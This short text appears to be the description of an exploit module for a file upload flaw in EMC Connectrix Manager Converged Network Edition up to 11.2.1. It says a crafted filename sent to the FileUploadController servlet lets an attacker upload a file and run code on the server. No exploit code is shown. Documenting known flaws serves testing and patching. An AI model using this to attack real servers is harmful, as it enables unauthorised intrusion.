				This module exploits a file upload vulnerability found in EMC 
				Connectrix Manager Converged Network Edition <= 11.2.1. The file
				upload vulnerability is triggered when sending a specially crafted
				filename to the FileUploadController servlet found within the 
				Inmservlets.war archive. This allows the attacker to upload a
				specially crafted file which leads to remote code execution in the
				context of the server user.
